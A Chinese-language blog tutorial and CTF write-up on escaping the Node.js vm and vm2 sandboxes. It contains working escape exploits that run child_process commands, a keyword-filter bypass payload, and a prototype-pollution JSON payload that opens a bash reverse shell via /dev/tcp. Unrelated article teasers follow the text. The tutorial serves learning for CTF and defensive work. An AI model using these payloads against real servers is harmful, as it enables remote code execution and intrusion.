NodeJS vmvm2沙箱逃逸

文章目录

    • NodeJS vm&vm2沙箱逃逸
      • 什么是沙箱?
      • NodeJS的作用域
        • exports是将文件元素输出的接口
        • global全局对象
      • vm沙箱模块
        • vm.runInThisContext(code)
        • vm.createContext([sandbox])
        • vm.runInContext(code,contextifiedSandbox[,options])
        • `vm.runInNewContext(code[,sandbox][,options])`
        • vm.Script类
        • new vm.Script(code, options)
      • 如何进行vm沙箱逃逸?
      • vm2沙箱逃逸
      • [HFCTF2020]JustEscape
        • NodeJS模板字符串
        • 当对象的方法或者属性名关键字被过滤的情况下可以利用数组调用的方式绕过关键字的限制
      • [HZNUCTF 2023 final]eznode
      • 参考

NodeJS vm&vm2沙箱逃逸

什么是沙箱?

在讲沙箱逃逸之前,我们需要了解一下什么是沙箱。

沙箱就是一个集装箱,把你的应用装到沙箱里去运行,这样应用与应用之间就产生了边界,不会相互影响。

当我们运行一些可能产生危害的程序时,我们不能直接在主机上运行。我们可以单独开辟一个运行代码的环境,这个环境就是沙箱,它与主机相互隔离,但使用主机的资源,但有危害的代码在沙箱内运行只会对沙箱内部产生一些影响,不影响主机的功能。

Docker属于沙箱SandBox的一种,通过创建一个有边界的运行环境将程序放在里面,使程序被边界困住,从而使程序与程序之间,程序与主机之间相互隔离开。

NodeJS的作用域

我们在写Node项目时,往往需要require其他js文件,我们把这些文件称为:包。包之间的作用域是相互隔离不互通的,也就是说,就算我们在y2.js中require了y1.js,我们在y2.js中也无法使用y1.js中的变量和函数。(在Node中一般把作用域叫上下文)

如果想要使用的话,必须使用exports这个nodeJS中将文件元素输出的接口。

exports是将文件元素输出的接口

举个例子:

// y2.js
const file = require('./y1.js')
console.log(file.name)// y1.js
let name = 'y1.js'// 输出:undefined
// y2.js
const file = require('./y1.js')
console.log(file.name)// y1.js
let name = 'y1.js' 
exports.name = name// 输出:y1.js

由此可知,我们使用require引用其他文件后,想要使用其中的变量,方法之一就是使用exports将该元素导出

image-20230805104257865

此时两个包的关系就是上面这样

global全局对象

除了上面这种方法,我们还可以使用global作用域,也就是global全局对象。NodeJS下其他所有的属性和包都挂载在这个global对象下面,在global下面挂载了一些全局变量,我们访问不需要global.xxx的方式访问,可以直接使用。例如:console就是这个global下的一个全局变量,我们可以直接使用,process也是global下的一个全局变量(一会逃逸要用到)

除了自带的全局变量,我们也可以使用global关键字自己声明一个全局变量

// 1.js
const file = require('./2.js')
console.log(name)// 2.js
global.name = 'leekos'// 输出:leekos

可见,我们输出name时,不需要使用file.name的形式,我们可以直接使用name进行输出,同时name也不需要使用exports进行导出,因为此时name已经挂载在global上了,它的作用域不在2.js中了

vm沙箱模块

我们前面提到了作用域(上下文)这个概念,如果我们想要实现沙箱的隔离作用,我们是不是可以创建一个新的作用域,让代码在这个新的作用域中运行,这样就与其他作用域隔离了,这就是vm模块的原理。下面我们介绍几个vm模块的api:

vm.runInThisContext(code)

vm.runinThisContext(code):在当前的global下创建一个作用域(sandbox),并将接收到的参数当做代码执行。

sandbox沙箱中可以访问到global中的属性,但是无法访问其他包的属性。(无法访问本地的属性)

他们之间的关系就是这样:

image-20230805111203380

sandbox可以访问global中的属性,但是不能访问xxx.js中的属性

// xxx.js
const vm = require('vm')
var local_var = 'leekos'
global.global_var = 'xxx global~'
var vm_var = vm.runInThisContext('global_var="vm_var";local_var="Tranquility";')
console.log("vm_var: "+vm_var)
console.log("local_var: "+local_var)
console.log(global_var)/*
输出:
vm_var: Tranquility
local_var: leekos
vm_var
*/

由此可见vm.runInThisContext()在当前文件的作用域外创建了一个新的作用域,并且该作用域在global作用域之中

此时vm.runInThisContext()xxx.js处在不同的作用域之中,因此也不能改变local_var变量的值,但是由于vm.runInThisContext()在global作用域中,因此可以改变global_var的值

vm.createContext([sandbox])

使用前需要创建一个沙箱对象,再将沙箱对象传递给该方法(如果没有就会生成一个空的沙箱对象),v8为这个沙箱对象在当前的global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性

vm.runInContext(code,contextifiedSandbox[,options])

参数为要执行的代码和创建完作用域的上下文(沙箱对象),代码会在传入和沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同

image-20230805115658208

const vm = require('vm')
global.global_var = 1
const sandbox = {global_var: 2} //创建一个沙箱对象
vm.createContext(sandbox)  //创建一个上下文对象
vm.runInContext('global_var*=2',sandbox)console.log(sandbox)    // { global_var: 4 }
console.log(global_var) // 1

这种创建方式与vm.runInThisContext()有区别,这种不能改变global中的全局变量的值,沙箱内部无法访问global中的属性

(因为在当前的global外再创建了一个作用域)

vm.runInNewContext(code[,sandbox][,options])

这个函数是createContext()runInContext()的结合版,传入要执行的代码和沙箱对象

vm.Script类

vm.Script类 vm.Script类型的实例包含若干预编译的脚本,这些脚本能够在特定的沙箱(或者上下文)中被运行。

new vm.Script(code, options)

new vm.Script(code, options):创建一个新的vm.Script对象只编译代码但不会执行它。编译过的vm.Script此后可以被多次执行。值得注意的是,code是不绑定于任何全局对象的,相反,它仅仅绑定于每次执行它的对象。 code:要被解析的JavaScript代码

const vm = require('vm')
const sandbox = {animal: 'cat',count: 1}
const script = new vm.Script('count += 1; name = "Tom";') // 编译code
const context = vm.createContext(sandbox) // 创建一个上下文对象
script.runInContext(context)  // 在指定的上下文中执行code并返回结果console.log(sandbox) // { animal: 'cat', count: 2, name: 'Tom' }

script对象可以通过runInXXXContext运行

vm能逃逸出来的原理是因为context没有拦截对外部的constructor__proto__等属性的访问

如何进行vm沙箱逃逸?

我们一般进行沙箱逃逸最后都是RCE,那么在NodeJS中进行RCE就需要使用process全局变量了,在获取到process对象之后我们就可以使用require来导入child_process,利用它来执行命令

例如:

console.log(process.mainModule.require('child_process').execSync('whoami').toString())// leekos\like

但是process挂载在global中,我们上面说了,在createContext()后是不能访问到global的,所以我们最终的目的就是通过各种办法将global上的process引入沙箱中

逃逸的主要思路就是怎么从外面的global全局变量中拿到process。vm模块是非常不严谨的,基于node原型链继承的特性,我们很容易就能拿到外部全局变量。看一段简单的逃逸代码:

const vm = require("vm");
const a = vm.runInNewContext(`this.constructor.constructor('return global')()`);
console.log(a.process);

image-20230805132012924

那么我们是如何实现逃逸的呢?首先这里的this指向的是当前传递给runInNewContext()的对象,这个对象不属于沙箱环境,我们通过这个对象获取到它的构造器,再获得一个构造器对象的构造器(此时为Functionconstructor),最后的()是调用这个用Functionconstructor生成的函数,最终返回一个global对象

在NodeJs中反引号 ` 代表模板字符串,所以此处:

`this.constructor.constructor('return global')()`

相当于将这个字符串传递给runInNewContext,此时并没有执行该字符串,而是作为参数传给runInNewContext执行

this.toString.constructor('return global')()

这种写法也可以返回global对象

image-20230805133456961

因此,我们这样就可以进行vm沙箱逃逸了:

const vm = require("vm");
const ps = vm.runInNewContext(`this.constructor.constructor('return process')()`);
console.log(ps.mainModule.require('child_process').execSync('whoami').toString());// leekos\like

在 Node.js 中,process.mainModule.require 是一种获取主模块的方式,而 child_process.execSync 是一个用于同步执行命令的函数,在这里用于执行 whoami 命令

vm2沙箱逃逸

vm模块的隔离作用可以说非常的差了。所以开发者在此基础上加以完善,推出了vm2模块。那么vm2模块能否逃逸。

vm2相较于vm多了很多限制。其中之一就是引入了es6新增的proxy特性。增加一些规则来限制constructor函数以及__proto__这些属性的访问。proxy可以认为是代理拦截,编写一种机制对外部访问进行过滤或者改写。

const {VM, VMScript} = require('vm2');const script = new VMScript("let a = 2;a;");console.log((new VM()).run(script));

VM是vm2在vm的基础上封装的一个虚拟机,我们只需要实例化后调用其中的run方法就可以运行一段脚本。

那么vm2在运行这两行代码时都做了什么事:

image-20230805135858452

vm2的版本一直都在更新迭代。github上许多历史版本的逃逸exp,

附上链接:Issues · patriksimek/vm2 · GitHub,

exp1:

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){TypeError.prototype.get_process = f=>f.constructor("return process")();try{Object.preventExtensions(Buffer.from("")).a = 1;}catch(e){return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();}
}+')()';
try{console.log(new VM().run(untrusted));
}catch(x){console.log(x);
}

exp2:

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){try{Buffer.from(new Proxy({}, {getOwnPropertyDescriptor(){throw f=>f.constructor("return process")();}}));}catch(e){return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();}
}+')()';
try{console.log(new VM().run(untrusted));
}catch(x){console.log(x);
}

至于vm2的逃逸原理分析,直接看大牛的文章,写的非常nice,文章链接:vm2沙箱逃逸分析-安全客 - 安全资讯平台 、https://www.anquanke.com/post/id/207283#h2-1

下面我们可以做一个题目感受一下

[HFCTF2020]JustEscape

image-20230805141140791

提示我们/run.php可以执行代码,我们访问:

<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {$code = $_GET['code'];echo eval(code);
} else {highlight_file(__FILE__);
}
?>

经过尝试,发现这串代码没有用,是来迷惑人的

我们此时就会想,不止php中有eval()函数,nodejs中也有eval()函数

我们可以使用Error().stack获得nodejs中的报错信息

image-20230805142036500

确实使用了vm2,所以接下来我们就需要进行vm2沙箱逃逸,我们使用现成的exp:

(function(){TypeError.prototype.get_process = f=>f.constructor("return process")();try{Object.preventExtensions(Buffer.from("")).a = 1;}catch(e){return e.get_process(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();}
})()

但是很多关键词被过滤了,我们需要知道一个知识点:

NodeJS模板字符串

例如:

console.log(`prototype`)            //prototype
console.log(`${`prototyp`}e`)       //prototype
console.log(`${`${`prototyp`}e`}`)  //prototype

通过这种嵌套的方式绕过字符串过滤:

(function (){TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();}
})()

当对象的方法或者属性名关键字被过滤的情况下可以利用数组调用的方式绕过关键字的限制

还有一种使用数组绕过的方式:

image-20230805143045471

[HZNUCTF 2023 final]eznode

访问:/app.js得源码:


const express = require('express');
const app = express();
const { VM } = require('vm2');app.use(express.json());const backdoor = function () {try {new VM().run({}.shellcode);  //我们需要通过原型链污染shellcode} catch (e) {console.log(e);}
}const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {  //	for (var attr in b) {if (isObject(a[attr]) && isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] = b[attr];}}return a
}
const clone = (a) => {return merge({}, a);
}app.get('/', function (req, res) {res.send("POST some json shit to /.  no source code and try to find source code");
});app.post('/', function (req, res) {try {console.log(req.body)var body = JSON.parse(JSON.stringify(req.body));var copybody = clone(body)if (copybody.shit) {backdoor()}res.send("post shit ok")}catch(e){res.send("is it shit ?")console.log(e)}
})app.listen(3000, function () {console.log('start listening on port 3000');
});

这里的merge()函数调用可以造成原型链污染漏洞,污染shellcode的值为vm沙箱逃逸的代码

vm2 原型链污染导致沙箱逃逸 poc:

let res = import('./app.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();
{"shit":"shit","__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor(\"return this\") ().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"').toString();"}
} 
image-20230805151916269

image-20230805151928661

参考

https://xz.aliyun.com/t/11859#toc-0

https://xilitter.github.io/2023/01/31/vm%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%88%9D%E6%8E%A2/index.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/23117.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深度学习训练营之CGAN生成手势图像

深度学习训练营之CGAN生成手势 原文链接CGAN简单介绍环境介绍前置工作数据导入所需的包加载数据创建数据集查看数据集 模型设置初始化模型的权重定义生成器构造判别器 模型训练定义损失函数设置超参数正式开始训练 结果可视化 原文链接 &#x1f368; 本文为&#x1f517;365天…

怎样选择适合的爬虫ip服务商?

在当今数字化的时代&#xff0c;越来越多的企业和个人需要采集和分析大量的数据来进行市场调研、竞品分析、舆情监测等工作。而为了保护其数据和资源&#xff0c;很多网站采取了反爬虫措施&#xff0c;限制了普通用户和爬虫程序的访问。为了应对这种限制&#xff0c;许多人开始…

websocket服务端大报文发送连接自动断开分析

概述 当前springboot版本&#xff1a;2.7.4 使用依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-websocket</artifactId> </dependency>现象概述&#xff1a; 客户端和服务端已经有心跳…

Collections工具类(java)

文章目录 7.1 常用方法 参考操作数组的工具类&#xff1a;Arrays&#xff0c;Collections 是一个操作 Set、List 和 Map 等集合的工具类。 7.1 常用方法 Collections 中提供了一系列静态的方法对集合元素进行排序、查询和修改等操作&#xff0c;还提供了对集合对象设置不可变、…

C++基础

目录 在Ubuntu 下编写CC简介C环境设置编写一个简单的C程序 C基础C的新特性C的输入输出方式C之命名空间namespaceC面向对象类和对象构造函数与析构函数this 指针 继承重载函数重载运算符重载 多态数据封装数据抽象接口&#xff08;抽象类&#xff09; 在Ubuntu 下编写C 在Ubunt…

k8s nginx+ingress 配置

1 nginx> ingress 配置&#xff1a; 2 nginx >service 配置 3 nginx pod配置&#xff1a; 4 nginx.conf 配置文件&#xff1a; # web端v1server{listen 30006;add_header Strict-Transport-Security "max-age31536000; includeSubDomains";#add_header Content…

Intellij IDEA运行报Command line is too long的解决办法

想哭&#xff0c;vue前端运行起来&#xff0c;对应的后端也得起服务。 后端出的这个bug&#xff0c;下面的博客写的第二种方法&#xff0c;完整截图是下面这个。 ​​​​​​​​​​​​​​​​​​​​Intellij IDEA运行报Command line is too long的解决办法 - 知乎 (zh…

【CSS】旋转中的视差效果

效果 index.html <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"/><meta http-equiv"X-UA-Compatible" content"IEedge"/><meta name"viewport" content"widthdevice-…

docker【安装、存储、镜像、仓库、网络、监控】

docker-0110.0.0.51docker-0210.0.0.52docker-0310.0.0.53 【1】docker安装 docker-01 [rootdocker-01 ~]# vim /etc/yum.conf [main] cachedir/var/cache/yum/$basearch/$releasever keepcache1 debuglevel2 logfile/var/log/yum.log exactarch1 obsoletes1 gpgcheck1 plugin…

HDFS的QJM方案

Quorum Journal Manager仲裁日志管理器 介绍主备切换&#xff0c;脑裂问题解决---ZKFailoverController&#xff08;zkfc&#xff09;主备切换&#xff0c;脑裂问题解决-- Fencing&#xff08;隔离&#xff09;机制主备数据状态同步问题解决 HA集群搭建集群基础环境准备HA集群规…

Unity 3D ScrollRect和ScrollView回弹问题的解决

你是否是这样&#xff1f; Content高度 < 全部Cell加在一起的总高 他就认为你的全部Cell加起来就跟Content一样大&#xff0c;所以才出现了这种完全回弹 我该怎么办&#xff1f; 很简单&#xff0c;改变Content的长度跟所有Cell的和一样大 void RefreshSize(){float allD…

【BASH】回顾与知识点梳理(四)

【BASH】回顾与知识点梳理 四 四. Bash Shell 的操作环境4.1 路径与指令搜寻顺序4.2 bash 的进站与欢迎讯息&#xff1a; /etc/issue, /etc/motd4.3 bash 的环境配置文件login与non-login shell/etc/profile (login shell 才会读)~/.bash_profile (login shell 才会读)source &…

好奇心驱使下试验了 chatGPT 的 js 代码的能力

手边的项目中有个函数&#xff0c;主要实现图片分片裁剪功能。可以优化一下。 也想看看 chatGPT 的代码理解能力&#xff0c;优化能力&#xff0c;实现能力&#xff0c;用例能力。 于是有了这篇文章。 实验结果总结&#xff1a; chatGPT 确实强大&#xff0c;提供的答案可以借…

opencv基础40-礼帽运算(原始图像减去其开运算)cv2.MORPH_TOPHAT

礼帽运算是用原始图像减去其开运算图像的操作。礼帽运算能够获取图像的噪声信息&#xff0c;或者得到比原始图像的边缘更亮的边缘信息。 例如&#xff0c;图 8-22 是一个礼帽运算示例&#xff0c;其中&#xff1a; 左图是原始图像。中间的图是开运算图像。右图是原始图像减开运…

python数据处理程序代码,如何用python处理数据

大家好&#xff0c;给大家分享一下python数据处理程序代码&#xff0c;很多人还不知道这一点。下面详细解释一下。现在让我们来看看&#xff01; 要求&#xff1a;分别以james&#xff0c;julie&#xff0c;mikey&#xff0c;sarah四个学生的名字建立文本文件&#xff0c;分别存…

shell指令的应用

整理思维导图判断家目录下&#xff0c;普通文件的个数和目录文件的个数输入一个文件名&#xff0c;判断是否为shell脚本文件&#xff0c;如果是脚本文件&#xff0c;判断是否有可执行权限&#xff0c;如果有可执行权限&#xff0c;运行文件&#xff0c;如果没有可执行权限&…

测试平台——项目模块模型类设计

这里写目录标题 一、项目应用1、项目包含接口&#xff1a;2、创建子应用3、项目模块设计a、模型类设计b、序列化器类设计c、视图类设计 4、接口模块设计a、模型类设计b、序列化器类设计c、视图类设计 5、环境模块设计6、DRF中的通用过滤6.1、设置过滤器后端 一、项目应用 1、项…

SpringBoot统一功能处理(拦截器)

1.用户登录权限校验 1.1自定义拦截器 写一个类去实现HandlerInterceptor接口表示当前类是一个拦截器,再重写HandlerInterceptor接口中的方法,preHandle为在方法执行前拦截,postHandle为方法执行中拦截,afterCompletion为方法执行中拦截.需要在什么时候拦截就重写什么方法 Co…

百度智能云“千帆大模型平台”最新升级:接入Llama 2等33个模型!

今年3月&#xff0c;百度智能云推出“千帆大模型平台”。作为全球首个一站式的企业级大模型平台&#xff0c;千帆不但提供包括文心一言在内的大模型服务及第三方大模型服务&#xff0c;还提供大模型开发和应用的整套工具链&#xff0c;能够帮助企业解决大模型开发和应用过程中的…

人工智能可解释性分析导论(初稿)

目录 思维导图 1.黑箱所带来的问题 2.从应用面论述为什么要进行可解释性分析 2.1可解释性分析指什么 2.2可解释性分析的必要性 2.3可解释性分析应用实例 2.4 可解释性分析的脑回路&#xff08;以可视化为例如何&#xff09; 3.如何研究可解释性分析 3.1使用好解释的模型 3…